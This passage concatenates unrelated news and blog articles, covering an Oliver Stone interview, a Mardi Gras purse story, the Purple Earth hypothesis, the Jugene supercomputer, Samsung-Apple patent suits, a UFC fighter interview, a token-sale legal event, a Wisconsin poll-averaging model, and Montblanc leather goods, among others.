time, World War I, World War II, you will find they have been strong allies and we can return to that position and have a strong alliance with them which is what we need now. "The world is in a very dangerous position and terrorism is an issue on which we both agree." Trump 'a disaster' US President Donald Trump had a cameo in Stone's 2010 Wall Street sequel, Wall Street: Money Never Sleeps, but his appearance hit the cutting room floor. "I wish I had used it but at that point in time it was a long movie and I was trying to save time. I cut his scene," he said. "If I had known now I would have put it back in." So how does the director rate Mr Trump in his real-life role of President? "It's been a disaster," he said. "This is a little too early to tell if Trump lasts, but it seems he's not to be the kind of president who plans, who deliberates." The director has made films or biopics about a series of US presidents — JFK, Nixon and George W Bush — but for now has no plans to focus his creative skills on Mr Trump. "If the Trump story may right now be a story about a man who is enamoured of consumerism or materialism and wants success at any cost, like Nixon a bit, and comes to the office willing to barter what is left of his soul in order to become president, possibly there is an angle there, but you know I'm not there yet. "Let's let some years go by and see what happens." Topics: biography-film, film-movies, world-politics, russian-federation, united-states First posted |
Advertisement Lucky boy catches Nyx purse, finds $100 bill to 'pay it forward' Share Shares Copy Link Copy One lucky boy who caught a prized Krewe of Nyx purse is following through with the wishes of the woman who picked him out of the crowd of revelers. Nyx rolled Wednesday evening on the traditional Uptown route. The krewe, one of the largest all-female krewes in New Orleans, is known for throwing their signature, beautifully decorated purses to the people watching the floats go by. Purses are to Nyx much like shoes are to the Krewe of Muses. They are coveted throws during Mardi Gras season. Meet Duris Lee Holmes. He was out on the parade route looking to be one of the chosen ones when float No. 40 passed. "Rider threw purse and was adamant we get it when it fell," wrote Duris Holmes on Facebook. "Couldn't figure out why until we read the note and saw the $100 bill in it." What did the note say? Here's an excerpt: "This was something that I wanted to do for someone that catches this purse. If you catch it, please pay it forward," the Nyx rider wrote on a card. "Do something nice for someone else. Spread kindness always!" Duris Lee Holmes said he plans to pay it forward by giving money to missions, a food drive and/or a hospital. The post about his lucky throw has been shared more than 100 times. His story has been picked up by the local newspapers and televisions stations. Happy Mardi Gras, everyone. Keep up with local news, weather and current events with the WDSU app here. Sign up for our email newsletters to get breaking news right in your inbox. Click here to sign up! |
ASSOCIATED PRESS A couple kiss as they tango in a downtown square in Montevideo, Uruguay, Sunday, March 22, 2015. Human rights groups coordinated the dance to protest what happened at an event in the same square last week, when two women dancing were told to leave because lesbians and gays were not welcomed. (AP Photo/Matilde Campodonico) Nesta terça (5), uma americana do estado do Nebraska entrou com uma ação na Justiça contra todos os homossexuais do mundo. Você não leu errado. Ela quer processar TODOS os gays que vivem no planeta Terra. Sylvia Ann Driskell, 66, irá atuar como sua própria advogada no processo "Driskell contra Homossexuais", de acordo com a Time. Na petição de sete páginas enviada ao juizado de seu distrito, Driskell não enumerou argumentos com base em leis ou jurisprudência. Mas citou trechos da Bíblia. Ah, e na mesma petição ela se autodenomina "Embaixadora de Deus e seu filho Jesus Cristo". |
This feature is part of Colorscope, an award-winning series exploring our perception of color and its use across cultures, one shade at a time. See more here . (CNN) The lush green planet that we call home may have actually looked purple in its earliest days, according to the "Purple Earth hypothesis." No, this doesn't mean there were purple trees or purple grass or purple animals. It would have been before any multicellular organisms even evolved, when single-cell microorganisms dominated the planet and possibly created a purple hue that could be seen from space. These purple organisms may have reigned supreme and existed in varying concentrations across the planet, said Shiladitya DasSarma, a microbiologist and professor at the University of Maryland. DasSarma has studied one of these microorganisms and created the Purple Earth hypothesis. But what if Earth wasn't the only planet that experienced this purple phase? What if this hypothesis could give us insight into potential life on exoplanets, the planets outside our solar system? Scientists are in the process of figuring that out. "That's where it might make a difference when we look at exoplanets. We would want to consider that the pigments on an alien planet might be different than what we have on modern Earth," DasSarma said. "And if the Purple Earth hypothesis was correct and there was a dominance of purple organisms in the early Earth, then we might be able to find another planet that's at an earlier stage of evolution of the planet, where the purple pigments might have dominated." Two theories There are a few variations of the Purple Earth hypothesis among scientists. DasSarma's research has focused on halophiles, microorganisms that still exist today in environments with a high concentration of salt, such as the Great Salt Lake and the Dead Sea. They use their strong purple retinal pigment -- the same visual pigment in the eyes of humans -- to absorb light and generate growth, and he says it's likely that they've been present on Earth for millions, if not billions, of years. These organisms may have been dominant until the development of chlorophyll, the green pigment that is essential to the type of photosynthesis we see in plants, which reintroduces oxygen into the atmosphere. "What happened I think is that the chlorophyll-based photosynthesis is more efficient, which means they generally have outcompeted the the purple organisms," DasSarma said. "In evolution, you had progression from more primitive to more complex and capable systems." Another theory is that the planet was populated by ancient purple bacteria, whose descendants are found today in many lakes that do not require the same high salt concentration halophiles do. These lakes contain thick mats of this purple bacteria, but they typically bloom so deep in the water column that they're not visible from the surface, said Jennifer Glass, an assistant professor at Georgia Tech's School of Earth and Atmospheric Sciences. "However, in the deep past, before oxygen accumulated in the atmosphere, these purple bacteria might have proliferated to such an extent that they could have been detectable on the Earth's surface," she said If the planet were to have a purple hue, the purple bacteria would have to be widely populated, she said. But there is an important caveat to this theory. "The big question, and a topic of active scientific debate, is whether the purple bacteria living on the ancient Earth had the ability to protect themselves from UV radiation well enough to inhabit vast expanses of the land surface, like plants do on the modern Earth," she said. "The spectral signature of the pigment would be much stronger if the pigmented bacteria covered the land surface." Frank Stewart, associate professor in the Georgia Tech School of Biology, said there's strong evidence that the purple bacteria Glass mentioned were widespread on early Earth. They are adapted for life with low oxygen levels, which was a signature of ancient oceans, he said. He knows less about the probability of DasSarma's theory. "But, in all likelihood, both ideas are valid and both microbial types likely played an important role in creating bio-signatures distinct from what we see dominating the modern earth," he wrote in an email. Purple life beyond Earth A new review , which DasSarma co-authored, explores what early signs of life on Earth may be able to tell us about exoplanets. The microorganism that he studies reside in places where nothing else can grow. But he can imagine that on a distant planet, it might be a dominant life form. "As the sophistication in the telescope increases, the prediction is that they will be able to determine the spectrum coming from these planets," DasSarma said. "They're so far away, and really there's no light, it's only the star they'd be able to see, but that's the goal. Because its so important to be able to detect life elsewhere in the universe." Science is getting closer and closer to developing telescopes with better resolution that could give deeper insights into other planets, said Hilairy Hartnett, associate professor in the Arizona State University School of Life Sciences and co-author of the study. One day, they'll be able to see not only the color of the planets but the chemistry of their atmospheres. Join the conversation See the latest news and share your comments with CNN Health on Facebook and Twitter. "The theory of the purple planet is really intriguing, and it's intriguing because it's important for us to think about the fact that we might not be looking for life that looks like life on the modern Earth," Hartnett said. "We might be looking for life that looks like Earth in the Archean (era of early life), or we might be looking for life that looks like Earth life that lives way at the bottom of the ocean. And we have to think about what that's going to look like. If it uses retinal pigments, it'll be purple." |
What is now the fastest supercomputer in Europe was recently unveiled at a research institute in Jülich, Germany. The computer, named Jugene, is capable of a massive one trillion computing operations per second. Here are some facts about the Jugene supercomputer: Based on IBM’s Blue Gene/P architecture. Computing capacity: 1 petaflop/second. That equals the computing power of more than 50,000 PCs. 294,912 processor cores. Processor type: 32-bit PowerPC 450 at 850 MHz. 144 terabytes of RAM. Mounted in 72 racks. Network bandwidth: 5.1 gigabyte/second with a 160 nanosecond latency. Power input: 2.2 megawatts. Wish we could get one of these for Pingdom. Couldn’t cost all that much, could it? 😉 Packing those CPUs tightly together Each of the Jugene’s 72 racks has 1024 compute nodes, where each node has 2 gigabyte of RAM (totaling 144 terabytes for the whole system). This is what the compute nodes look like and how they are packed together: For those of you who really want to dive into the nitty-gritty tech specs regarding Jugene’s setup, here’s more info. Installing Jugene Looks like there was some cabling involved in the installation process. A LOT of it… This is most definitely a bit more complicated than plugging in your home computer. Source: The Jülich Supercomputing Centre. Suggested further reading: Ten of the coolest and most powerful supercomputers of all time |
Don't squint -- we've posted the images in large format. The first renderings of the propose movie theater at 1 Monument Square in downtown Troy are out. The backers of the project -- Bonacio Construction and Bow Tie Cinemas -- pitched the idea before the Troy City Council Wednesday evening, touting it as a luxury movie theater. [Troy Record] [TU] The city of Troy selected the proposal from two entries earlier this year. The super quick overview: The $18 million project would include a 9-screen movie theater, 3,000 square feet of street level retail space, 100-150 parking spaces underneath, and the potential for additional floors in the future. Bonacio and Bow Tie will also be redeveloping the American Theater space, located 500 feet down River Street from the site. The projected opening date for the 1 Monument Square theater would be the fall of 2018. As you know, the story of this site -- one of the most high-profile spots in all the Capital Region -- has included its fair share of drama. This is now the fourth major attempt to build something there since the old city hall was demolished in 2011. What's ahead + The sale of the site from the city to developers for $600k will be up for a vote by the city council later this spring. + And the project will have to go through the usual planning approval process. Steven Strichman, Troy's commissioner of planning and economic development, said today via email that the project would probably go before the city planning commission sometime in May or June. Look up The renderings are at the top in large format -- click or scroll all the way up. |
SYDNEY (Reuters) - Samsung Electronics Co has filed a counter claim in an Australian court, accusing Apple of infringing its wireless patents related to the U.S. firm’s iPhone and iPad products. People compare the performance of Apple's iPad (L) and Samsung's Galaxy Tab tablet devices at the Internationale Funkausstellung (IFA) consumer electronics fair at "Messe Berlin" exhibition centre in Berlin, September 2, 2010. REUTERS/Thomas Peter The move comes after Samsung last month delayed the launch of its latest Galaxy tablet computer in Australia over a global patent dispute with Apple. Samsung filed the claim with the Federal Court of Australia, New South Wales Registery, on September 16, a media statement released by Samsung Electronics Australia said. The claim says Apple infringed seven Australian patents owned by Samsung related to wireless communications standards by Apple’s iPhone 3G, iPhone 3GS, iPhone 4 and iPad 2 products. It also says the patents that Apple relied on in its claims against Samsung in relation to the Galaxy Tab 10.1 were invalid and should be revoked by the court, according to the statement. Samsung has previously counter sued Apple over patents in South Korea, Japan and Germany. An Apple spokeswoman in Australia could not immediately be reached for comment. Samsung and Apple have been locked in a battle over smartphones and tablets patents since April as Apple seeks to rein in the growth of Google’s Android phones by taking direct aim at the biggest Android vendor, Samsung. Apple, which has conquered the high end of the phone market with its iPhone, has argued that Samsung had infringed on its patents and the Galaxy line of products “slavishly” copied its design, look and feel. It is fighting legal battles in the United States as well as Europe, South Korea and Australia. Apple scored a legal victory in Germany earlier this month, when a German court barred Samsung’s local unit from selling its Galaxy 10.1 tablets in Europe’s biggest economy. Samsung has since announced it will appeal the court’s decision. |
NEW YORK — There are a few fights that interest Miesha Tate moving forward. Her first pick for an opponent would probably be Gina Carano if Carano signs a deal with the UFC. Then there’s Sarah Kaufman, who has been trying to engage Tate in a Twitter war recently. Another potential foe she’s had her mind on lately, though, is Cat Zingano. The two have already fought, with Zingano winning by third-round TKO in April 2013. But Tate harbors some ill will toward Zingano, because of lies she believes Zingano has spread about Tate’s boyfriend Bryan Caraway. About a month after the two fought, Zingano told Bloody Elbow that Caraway elbowed her in the head at weigh-ins a day prior to the bout. Tate is still angry that Zingano accused Caraway of striking her. Article continues below ... "I don’t believe it happened at all," Tate said Monday at the EA Sports UFC Times Square takeover event to promote the new game’s release Tuesday. "But if it did, it was someone else. At the very, very worst, maybe he bumped her as he walked by. But it was not intentional. He didn’t just go ‘Bam!’ I mean, c’mon. What we have to gain by that, except being called a woman beater?" Tate is offended that people would think she would remain with Caraway, who she has been with for eight years, if he abused women. Caraway is also a UFC fighter and competes in the bantamweight division. Miesha Tate (right) and boyfriend Bryan Caraway pose for a picture at the Maxim Hot 100 banquet. "I know Bryan," Tate said. "Obviously, I would never be with someone who’s a woman beater. I’m a pretty f—ing strong-headed woman and there’s no way. I would kill him in his sleep if he ever thought of it. I would straight up kill him. People saying that blows my mind." While Tate is one of the most popular fighters in the UFC, fans have not warmed to Caraway for various reasons. Two years ago, he tweeted that he would knock Ronda Rousey’s teeth down her throat, which he has since apologized for multiple times. Then there was the accusations from Zingano and at UFC Fight Night Albuquerque two weeks ago it appeared Caraway might have fish-hooked opponent Erik Perez. He said it was unintentional and the incident did not lead to Caraway’s second-round submission victory. Zingano spoke about getting elbowed around the same time Caraway was given a Submission of the Night bonus that was initially awarded to Pat Healy. Healy tested positive for marijuana after that UFC 159 card and UFC president Dana White gave the $65,000 to Caraway for his submission on the same card. "I feel like she just jumped on that train," Tate said of Zingano. … "As an adult if that would have happened, I would have said something right then and there." Zingano earned the No. 1 contender spot when she beat Tate, but hasn’t gotten the chance to cash it in against Rousey, the UFC women’s bantamweight champion. Zingano tore her ACL last summer and her husband and trainer, Mauricio, committed suicide in January. Zingano has recently returned to training after the injury and tragedy and is targeting a September return. That is also when Tate, who is coming off a win over Liz Carmouche in April, would like to fight again. "I know that she does deserve a shot at the title," Tate said. "However, being out for so long it might be a good idea for her to take another fight regardless anyway. If she thinks she can beat Ronda, then she thinks she can beat anyone else, too. For her, it should be a no-brainer." Tate knows she and Kaufman will end up fighting again at some point, so she isn’t necessarily in a rush to do it this year. Kaufman and Tate have bickered a bit on Twitter, but Tate said she doesn’t want to get into a "petty" beef on social media. She called out Kaufman (and others) after beating Carmouche on FOX UFC Saturday in April. "I’ve said it where it matters," Tate said. "She said it in a tweet and then acts like I’m the one that’s scared to fight her. No, I said it on national TV. I want to fight you and I’m going to fight you." Tate said she thinks Kaufman is "trying to stay relevant and I think that’s why she’s calling out girls who have way bigger names than she does." Kaufman beat Tate in Strikeforce, but that was when women competed with three-minute rounds instead of the standard five. Tate thinks she would win this time around, but isn’t sure what a victory over Kaufman would really get her. .@MieshaTate @jisthrough2 interesting that this is what you respond to. You publicly call me out then seemingly run away — Sarah Kaufman (@mmasarah) May 15, 2014 "For publicity, I don’t feel like that fight does a lot for me," Tate said. "I want to fight her for my own personal vendetta." At the least, it sounds like Tate has a number of options. |
With the use of Kinect sensors, an Oculus Rift, and a ton of experimenting, two individuals found themselves strangely having an out-of-body virtual reality experience. We chatted with creator Tobias Gremmler who is a visiting Associate Professor in the School of Creative Media at City University of Hong Kong about their latest experiment. Alongside student Adam Zeke (pictured), they set out to explore new interaction scenarios that are going beyond the normal game experience. In the latest video uploaded by Gremmler, it shows one of many sessions where they are translating a real world environment into a virtual point cloud (by using two Kinect sensors) and viewed through an Oculus Rift VR headset. The red and white point clouds shown in the video distinguish the two Kinect sensors. Observing Your Own Body Walking Away The most interesting part of the experiment is around the 1:00 minute mark. Around this time, Zeke moves outside the range of the Oculus headset positional tracker and begins his out-of-body experience. The motion of the virtual camera that feeds visuals to the Oculus remains at his last position (while the rotation tracking is still working). While Zeke continues moving forward in real space, his VR point of view stays in place. He observes his own body walking away from himself. Gremmler explains that they have reconstructed this situation several times and that “it is quite an intense experience, especially if one was wearing the headset for a longer time and gets used to the virtual representation.” Perceiving Visual Information Gremmler explains to us that they “wanted to explore how visual perception and cognition adapts to such situations, especially if the geometrical and spacial features of the virtual environment and the self-representation reach a certain degree of abstraction.” Often we perceive visual information as more detailed the closer we get to it, but in the case of this latest experiment, the environment is initially perceived by digital sensors and then distributed to the headset. Thus the perceived information and digital resolution depends on the point of view of the environmental sensors rather than our eyes. Gremmler is working on a number of additional experiments that include translating bodies into abstract graphics and virtual representations of real-world space. We will continue to follow his experimentation in VR and you can also follow his progress at http://www.syncon-d.com Stay up to date with the latest in VR projects by following us on Facebook and Twitter |
In a topsy-turvy twist to the Obamacare repeal saga, Sen. Rand Paul (R-KY) set out Thursday in search of the House GOP’s Obamacare repeal bill supposedly kept under lock and key in a secure basement room in the Capitol complex. With reporters tweeting his odyssey, Paul brought unwelcome attention on the House GOP’s odd tactics for avoiding political fallout from the bill that is number one legislative priority for Republicans. Before embarking on his “National Treasure” quest in the bowels of a House office building, Paul blasted the move to allow only Republicans members and staff of a House committee to review the current draft Obamacare repeal legislation, and to prohibit making copies of the bill. “I am very upset that they’ve made the Obamacare proposal classified,” said Paul, who has been critical of the direction House leadership is said be moving with the repeal. It was reported Wednesday that the bill would be available Thursday for Energy and Commerce Republicans to read, but under conditions akin to a secret intelligence meeting. “We’re going to be trying to get a look at the Obamacare proposal, but I think the reason that they’re keeping it in secret is that it’s Obamacare-lite ” Paul told reporters on Capitol Hill. “Conservatives, I can tell you, on both sides of the … House and the Senate, are very unhappy that they’re now making the Obamacare proposal classified. It’s under lock and key and we’re not allowed to have a copy of it. I think that’s crazy.” Paul tried to enter himself into the room where the legislation was being held for Energy and Commerce members, according to a tweet from Vox’s Sarah Kliff. Sen Paul trying to enter room with ACA bill. Being denied entry pic.twitter.com/Vwg6vtZelc — Sarah Kliff (@sarahkliff) March 2, 2017 .@RandPaul outside the “secret office for the secret bill.” pic.twitter.com/fY8BAVqwvd — Eli Yokley (@eyokley) March 2, 2017 Rand Paul talking to press after being told he can’t get a public copy of the GOP ACA replacement pic.twitter.com/ugvSpF5zOD — Dave Weigel (@daveweigel) March 2, 2017 Paul and conservatives in the House have called for a more aggressive approach to dismantling the Affordable Care Act that would follow the model of the 2015 repeal bill that was vetoed by then-President Obama, and they have even introduced a competing Obamacare replacement plan. Congressional GOP leadership meanwhile has indicated that they intend to put some replacement proposals — including refundable tax credits, which conservatives have railed against — into the repeal legislation they hope to pass this spring. A draft version of the bill that leaked to the media last week further inflamed the standoff between leadership and conservative hardliners. “The only copy that we’ve seen [is] from the media,” Paul told reporters Thursday. “Does that sound to you backwards? That we saw a leaked copy that the media was given that we weren’t given.” He’s not the only Republican who has been critical of the move to guard the latest draft so closely. Rep. Michael Burgess (R-TX), who chairs the subcommittee on Health under Energy and Commerce, said on “All In with Chris Hayes” Wednesday evening that it wasn’t his decision to move to the next steps of the process in that way. “My advice, should anyone wish to take it, is that people need to have access to this document. And if there are problems let’s talk through them,” Burgess said. “Had anyone asked my advice: let’s show our work, it’s time. Put your pencils down and turn your paper in,” he later added. Rep. Chris Collins (R-NY), an Energy and Commerce Committee member who was first to reveal to reporters Wednesday that the committee’s Republicans were moving forward this way, defended the process when TPM asked him Thursday about Paul’s frustrations. “The way that the committees do [things]: we do our work and then when we’re done, we mark a bill up, it moves forward,” Collins said, noting the other committees that will be considering the legislation before it moves to a floor vote and then to the Senate. “There’s going to be plenty of time to work on this. I shouldn’t have even probably mentioned yesterday that we were doing this, but this is not an abnormal thing.” He also didn’t have any problems with the likelihood, as he had admitted Wednesday, that the Energy and Commerce Committee would advance the bill before the Congressional Budget Office returned its scoring. “By the time we’re done, we’re done. We’re going to have CBO, but we’re going to be moving our part if need be without it,” he said. Energy and Commerce Chair Greg Walden (R-OR) and House and Means Chairman Kevin Brady (R-TX), whose committee also has jurisdiction over the repeal effort, briefed Senate Republicans Wednesday afternoon in broad strokes on what the House was considering. Paul, asked if there was discussion of his rival plan during Wednesday’s meeting, said that senators were told that it was “take it or leave it” with the House leadership’s plan. “This is what you get,” Paul said, “And I think that’s why it’s top secret.” |
Token Sales for Entrepreneurs featuring Debevoise & Plimpton and Smith + Crown adChain Blocked Unblock Follow Following Jul 21, 2017 Written by Hunter Gebron Token Sales for Entrepreneurs was an event hosted at MetaX HQ in Santa Monica, CA on July 20, 2017. Led by Lee Schneider of Debevoise & Plimpton and Andreas Weiler from Smith + Crown, topics ranged from regulatory implications of token sales, taxes, and what entrepreneurs who are looking to raise money through a token sale need to know. Established in 1931, Debevoise & Plimpton is one of the most elite and successful law firms in the world with over 650 litigators spread across the globe. They were instrumental in adChain’s Token Launch and provided our team with legal counsel throughout the entire process. Smith + Crown is a research group focused on the revolutionary technologies in the emerging field of cryptofinance. With his opening comments to the 60+ attendees at last night’s event at MetaX Headquarters, Lee Schneider of Debevoise & Plimpton stated the obvious, “we’ve reached a point in time when every man, woman, cat, and dog wants to raise money with a token sale.” Pouring over charts and graphs Lee Schneider and Andreas Weiler of Smith+Crown demonstrated how in Q2 of 2017 a total of $850 million was raised across 55 token sales and in Q3 (now less than 20 days old) an eyebrow raising $400 million has already been raised. Token sales have overtaken traditional Venture Capital backed projects by a margin of 4–1 in 2017, with an average of $7.3 million raised per token sale. The room was filled with people loaded to the hilt with creative ideas for new blockchain business models and clever token use cases. If one thing stood out from all of the enthusiasm, it’s that token launches may have just entered the mainstream. Things have changed pretty drastically since 2016, and soon we may find ourselves in a whole new token world (if we haven’t already.) But amidst all of the excitement, there is still the looming cloud of uncertainty regulators, and government bodies home and abroad are casting over the space. What do entrepreneurs looking to launch a token on the Ethereum blockchain need to know? Fortunately for us, Lee and Andreas broke it down into three easy-to-follow categories: 1) Global 2) Don’t Commit Fraud 3) Taxes In the first category ‘Global,’ Schneider and Weiler emphasized one critical point about token sales. While you may think it’s only the U.S. government you need to worry about in regards to whether or not your token is a security, in fact, token sales are Global events. Figuring out if your token is a security on a world market e.g. South Korea, Japan, Taiwan, etc. is something token entrepreneurs need to be thinking about. Each country has its own interpretation of what constitutes a security. And so just because your token may NOT be classified as a security in one jurisdiction, it may be in another. Debevoise & Plimpton has a worldwide legal presence and each token sale they counsel involves cross-checking securities law internationally. The Second Category, ‘Don’t Commit Fraud’ is a self-explanatory one. Fraud, according to Schneider just means, “lying to people, taking their money, and absconding.” This topic is particularly relevant at present. Two high-profile hacks took place in Ethereum Land this week. One on Parity’s Multisig Wallet, where a hacker managed to steal $32 million from projects such as Edgeless, Swarm City and aeternity due to an exploit in Parity’s code. The other was a hack perpetrated against CoinDash. The CoinDash hacker was able to change the contract address on their official website during their token sale to fool would-be investors into sending Ether to the wrong address, in this case, the hacker was able to steal roughly $7 million. Hackers aside, the core message around fraud came down to one of transparency. Schneider and Weiler emphasized the importance of outlining a clearly defined token mechanism in your projects white paper. Making it easy for people to understand the use case of your token is a primary factor in determining a project’s viability and credibility. Another key component of teams looking to do a token sale is to allocate and define the use of proceeds. Or in Schneider’s own words, “you need to tell the people you raise from where the money is going.” He also went on to say, “Many projects weren’t expecting to raise as much as they did — and if that happens and you’ve laid out a use of proceeds that doesn’t account for all those extra proceeds, you will be in an interesting situation.” The Third and Final Category, ‘Taxes’ was branded as, “hugely important” for token entrepreneurs. Schneider said, “If your token is not a security then most likely the money you raised is revenue, so without offsetting expenses, you are going to be stuck with a huge revenue tab you need to pay taxes on. If you are in U.S or Global this has implications, so talk to your accountant(s), or you will be in big trouble.” When asked about whether there are any national jurisdictions either better or worse for token entrepreneurs to launch their token from, both Schneider and Weiler deferred that it depends on a variety of factors. One thing to consider is where the team is located and the nature of their project. For example, prediction markets like Augur and Gnosis could fall under the umbrella of ‘gambling’ in some jurisdictions, and that could mean lots of regulations and tax implications depending on where you are. That concludes the main portion of the presentation and the bulk of the items discussed at the event. Schneider and Weiler then opened the floor for a Q & A session. There were many great questions throughout but one audience member, in particular, asked the very pointed question, “We’ve been watching these ICO’s go crazy, some of it feels good and some if it feels like 1999. In your heart of hearts will the SEC wake up soon and declare this (token sales) a security and make ICO projects return all of their money?” Weiler responded, “until someone gets hurt I think it will be about self-regulation and setting standards. Initiatives like, “A Securities Law Framework for Token Sales” put forth by Coinbase (and which Lee Schneider was a leading contributor to) is really about setting standards, so we don’t get a lens placed on us. Bancor spent 117k ETH to keep their liquidity reserves — they still have half of their ETH left, and so they may be OK but if they spend it all or something to the equivalent happens, and millions vanish, that’s bad.” Schneider also jumped in to answer the question saying, “we try to talk to the SEC on a regular basis. They are very much alive to what’s happening, and in their words, they are in “information gathering mode.” It’s also important to note that even if the SEC says something is a security that may not be the last word. The SEC does not have jurisdiction if it’s not a security. They can try to reach out and grab everything, but there are examples when it’s not — one area is event tickets — we all know there is a huge secondary market for event tickets but that is not a security until Congress changes the law.” In closing, one final word of advice was passed down to the audience from Lee Schneider who said, “This is a new world, and this is a new area. When we reach out to our global network of counsel to make sure a token project doesn’t have issues in China, the EU, or wherever, what we are finding is things are changing very fast. Maybe not so much in the U.S. but the point is that what you hear right now as far as what the law is may change by the time you do your launch, so it’s important to stay on top of what is going on.” Written by Hunter Gebron |
We're keeping track of the Wisconsin gubernatorial race through a poll-averaging model. Percentage of two-party vote UW-Madison doctoral candidate Brad Jones created a model to estimate the true levels of support in the polls for Gov. Scott Walker and challenger Mary Burke in the 2014 Wisconsin gubernatorial race. Results are based on 25,000 simulations. The shaded areas show the middle 90 percent of the simulated values, and they show the uncertainty around the estimate. See below for the methodology. The model accounts only for support for Burke and Walker, not for third-party candidates or poll respondents who say they are undecided. Polls in the model Polling organization Dates polled Sample MoE Burke Walker Margin Public Policy Polling 10/28-30/2014 1,814 LV ±2.3 47 48 Walker +1 YouGov 10/25-31/2014 1,494 LV ±3.4 43 45 Walker +2 Marquette 10/23-26/2014 1,164 LV ±3 43 50 Walker +7 YouGov 10/16-23/2014 3,308 LV ±3 45 46 Walker +1 Pulse Opinion Research 10/20-21/2014 973 LV ±3 49 48 Burke +1 St. Norbert 10/18-21/2014 551 LV ±4.4 46 47 Walker +1 Marquette 10/9-12/2014 803 RV ±3.5 47 47 Tied Gravis Marketing 10/3-4/2014 837 RV ±3 46 50 Walker +4 YouGov 9/20-10/1/2014 1,444 LV ±3 49 48 Burke +1 Marquette 9/25-28/2014 585 LV ±4.1 45 50 Walker +5 Gravis Marketing 9/22-23/2014 908 RV ±3 50 45 Burke +5 Pulse Opinion Research 9/15-16/2014 750 LV ±4 46 48 Walker +2 Marquette 9/11-14/2014 589 LV ±4.1 46 49 Walker +3 We Ask America 9/3/2014 1,170 LV ±3 48 44 Burke +4 YouGov 8/18-9/2/2014 1,473 LV ±4 45 49 Walker +4 Marquette 8/21-24/2014 609 LV ±4.1 49 47 Burke +2 Pulse Opinion Research 8/13-14/2014 750 LV ±4 47 48 Walker +1 Gravis Marketing 7/31-8/2/2014 1,346 LV ±3 47 47 Tied Marquette 7/17-20/2014 549 LV ±4.3 47 46 Burke +1 YouGov 7/5-24/2014 1,968 P 46 47 Walker +1 Marquette 5/15-18/2014 586 LV 45 48 Walker +3 PPP 4/17-20/2014 1,144 RV ±2.9 45 48 Walker +3 Magellan Strategies 4/14-15/2014 851 LV ±3.36 47 47 Tied St. Norbert 3/24-4/3/2014 401 AR ±5 40 55 Walker +15 Marquette 3/20-23/2014 556 LV 44 49 Walker +5 Gravis Marketing 3/17/2014 988 RV ±4 44 49 Walker +5 Pulse Opinion Research 3/10-11/2014 500 LV ±4.5 45 45 Tied Marquette 1/20-23/2014 569 LV 40 52 Walker +12 Marquette 10/21-24/2013 800 RV ±3.5 45 47 Walker +2 PPP 9/13-16/2013 1180 RV ±2.9 42 48 Walker +6 MOE — margin of error; LV — likely voters; RV — registered voters; P — panelists; AR — adult residents Pulse Opinion Research produces polls for Rasmussen Reports. Methodology Model-based poll averaging Model-based poll averaging provides a principled way to combine the results of many polls over the course of an election. Individual polls are subject to many sources of error, and the model allows us to pick out the signal from the noise. Sources of error Sampling error: Given their relatively small sample sizes, poll results are often reported along with their "margins of error" (e.g. plus or minus 2 percentage points). The margin of error reflects the amount of variation we would expect in many similarly conducted polls under ideal conditions.1 The margin of error of a poll decreases with the square-root of its sample size. This means that there are diminishing returns to increasing the sample size of an opinion poll, and given the costs of administering polls, statewide election polls usually aim for between 400 and 800 respondents. House effects: There are a relatively small number of survey firms that conduct the vast majority of the opinion polling in the United States. These survey houses all run their organizations differently, and the differences in operation have implications for the accuracy and reliability of the results they collect. Non-response error: Response rates to polls of all sorts have declined dramatically since the inception of modern public opinion polling. It isn't uncommon for telephone polls to have response rates below 10 percent. Surprisingly, these abysmal response rates don't seem to terribly bias the results of the polls2, but they do violate a lot of the assumptions we typically make about the relationship between the poll and its theoretical margin of error. Sampling frame error: Sampling frame error is related to the slippage between the people who we can actually reach and interview and the people that we would like to interview. In elections, this becomes especially problematic. If we want to accurately predict the results of an election, we are most interested in the opinions of voters. Many survey organizations try to "screen out" unlikely voters from their samples by asking people a series of questions about their voter registration and intentions to turn out on election day. Others will draw their samples from lists of registered voters. To the extent that a survey systematically misses electorally important segments of the voting population, it will provide biased results for the prediction.3 How the model works The model that we are using to generate predictions about the gubernatorial election uses the aggregate poll results from a variety of organizations to back out the true level of support in the population. The model assumes that the true level of support in the Wisconsin electorate is a slowly moving random walk (e.g., opinion does not move dramatically from one day to the next). The model also assumes that house effects are stable throughout the election. Using data from past elections (the performance of various polling organizations compared against the election results in the 2012 presidential election, the 2012 recall election and the 2010 gubernatorial race), we are able to generate estimates of any biases that are systematically associated with particular polling organizations. Making a final prediction Our model produces estimates of the true level of support for the candidates for every day of the election campaign. The data tells us how far opinion moves in an average day, and using that quantity, we can extrapolate forward and predict the range in which we expect opinion to fall on election day. As more polls are added closer to election day, we can narrow the prediction window. 1 Ideal conditions means 100 percent response and a sampling frame that perfectly overlaps the population of interest. The conditions never obtain in the real world, and margin of error estimates should be taken with a large grain of salt. 2 See for example, Keeter, S., Miller, C., Kohut, A., Groves, R. M., & Presser, S. (2000). Consequences of reducing nonresponse in a national telephone survey. Public Opinion Quarterly, 64(2), 125-148. 3 In 2008, for example, many polling organizations did not include cell phones in their sampling frames. As younger voters were more likely to only be reachable by cell phone and these younger voters were more likely to be Obama supporters, many polls that did not include cell phones underestimated the amount of support for Obama in the electorate. |
LONDON, United Kingdom — Sfumato, an Italian term meaning “to evaporate like smoke,” is an oil painting technique pioneered by Leonardo Da Vinci, in which the artist blends one tone into another to blur the outlines of an image. Today, the style is present in the Meisterstück Sfumato, a leather goods range that includes business bags, laptop cases, belts and small leather accessories. One could easily assume that this is a collection by an Italian luxury accessories house. In fact, it is the latest offering from Montblanc, the German manufacturer of upmarket fountain pens. In recent years, fashion brands such as Christian Lacroix, Paul Smith and Lanvin have dabbled in stationery, offering notebooks, pens and cardholders alongside their fashion lines. But now, luxury stationery brands like Montblanc, which is part of the Richemont group, are crossing over into fashion accessories. In 2014, Milan-based notebook company Moleskine introduced its first collection of wallets, passport holders, messenger bags, backpacks and briefcases. Named ‘myCloud,’ the collection’s tagline is “Created for our mobile lifestyle. Inspired by the digital cloud. Made for the moving world.” At Smythson, a British manufacturer of luxury stationery and diaries founded in 1887, change was ushered in by Samantha Cameron, wife of UK Prime Minister David Cameron. During Cameron’s tenure as creative director, which ended in 2010, Smythson launched fashion accessories including $3,000 python-skin handbags and collaborated with British designers including Jonathan Saunders, Erdem and Holly Fulton. Why are stationery specialists turning to fashion accessories? “It’s our way to get the flavour of the season,” said Xavier Rougeaux, chief commercial officer at Smythson. “We’re not a trend follower but we believe that it’s important to create newness. A couple of seasons ago, we collaborated with British illustrator Quentin Jones. We wanted to offer our core customers something that was more seasonal, so they could get a fashion take on our otherwise classic products. It’s important for us to 